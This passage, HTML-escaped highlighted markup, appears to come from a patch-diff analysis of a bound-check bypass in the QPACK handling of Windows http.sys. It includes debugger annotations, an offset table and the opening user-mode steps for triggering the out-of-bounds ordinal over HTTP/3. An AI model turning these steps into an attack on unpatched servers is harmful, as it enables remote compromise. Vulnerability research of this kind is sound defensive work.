class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;max_entries&lt;/span&gt;
&lt;span class="vm"&gt;??&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__int64&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;@rcx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x407&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;+0x2038&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;insert_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;must&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bypass&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;At &lt;code&gt;QkIsOrdinalUseable+0x80&lt;/code&gt; (&lt;code&gt;mov al, 1&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;If&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound_2018&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;here&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bypass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;has&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fired&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OOB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Verify&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;that&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SHOULD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;have&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;been&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
&lt;span class="vm"&gt;??&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__int64&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;@rcx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x403&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;+0x2018&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="vm"&gt;??&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__int64&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;@rcx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x402&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;+0x2010&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Distinguish&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;which&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edge&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;here&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;insert_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;max_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;full&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x65&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;result&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;marker&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;set&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="vm"&gt;??&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__int64&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;@rcx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x407&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;insert_count&lt;/span&gt;
&lt;span class="vm"&gt;??&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__int64&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;@rcx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x406&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;max_entries&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;At &lt;code&gt;QkEncodePairControl&lt;/code&gt; / &lt;code&gt;QkEncodePairData&lt;/code&gt; (callers):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;depending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;calling&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;convention&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;4th&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;arg&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;holds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ordinal&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;QPACK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;block&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Trace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;confirm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;it&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;matches&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;attacker-supplied&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;field&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Dump&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;raw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;QPACK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;block&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;IRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;available&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;context&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;follow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;IRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;chain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;find&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;buffer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;Key Instructions and Offsets&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset (RVA)&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x04&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp cs:UxKirHttpBugFix25Q2, 0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;KIR flag check; &lt;code&gt;0&lt;/code&gt; selects the OLD routine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x0B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jz loc_14013CA54&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enter OLD routine when flag is 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x0D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call QkIsOrdinalUseableNew&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Corrected routine, taken only when flag != 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x4C&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp [rcx+0x2038], rax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Table-full check; &lt;code&gt;jb&lt;/code&gt; (+0x53) returns usable, skipping the bound check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x61&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp dword [rax+0x18], 0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Result-marker test; &lt;code&gt;jnz&lt;/code&gt; (+0x65) returns usable, skipping the bound check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x6B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp r8, [rcx+0x2010]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;arg2 bound check (full + no marker) — unchanged by the patch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x77&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp r8, [rcx+0x2018]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;non-arg2 bound check — the check the OLD routine skips on the not-full / marker edges&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x80&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov al, 1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;"usable" return reached without a non-arg2 bound check&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Trigger Setup from User Mode&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;Open&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UDP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;establish&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;QUIC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;443&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;whichever&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="kr"&gt;sys&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;list&lt;/span&gt;&lt;span class="n"&gt;ening&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;

&lt;span class="mf"&gt;2.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Complete&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;QUIC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handshake&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;rol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Send&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SETTINGS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;QPACK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;tab&lt;/span&gt;&lt;span class="n"&gt;le&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Insert&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;small&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dynamic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;tab&lt;/span&gt;&lt;span class="n"&gt;le&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="w"&gt; 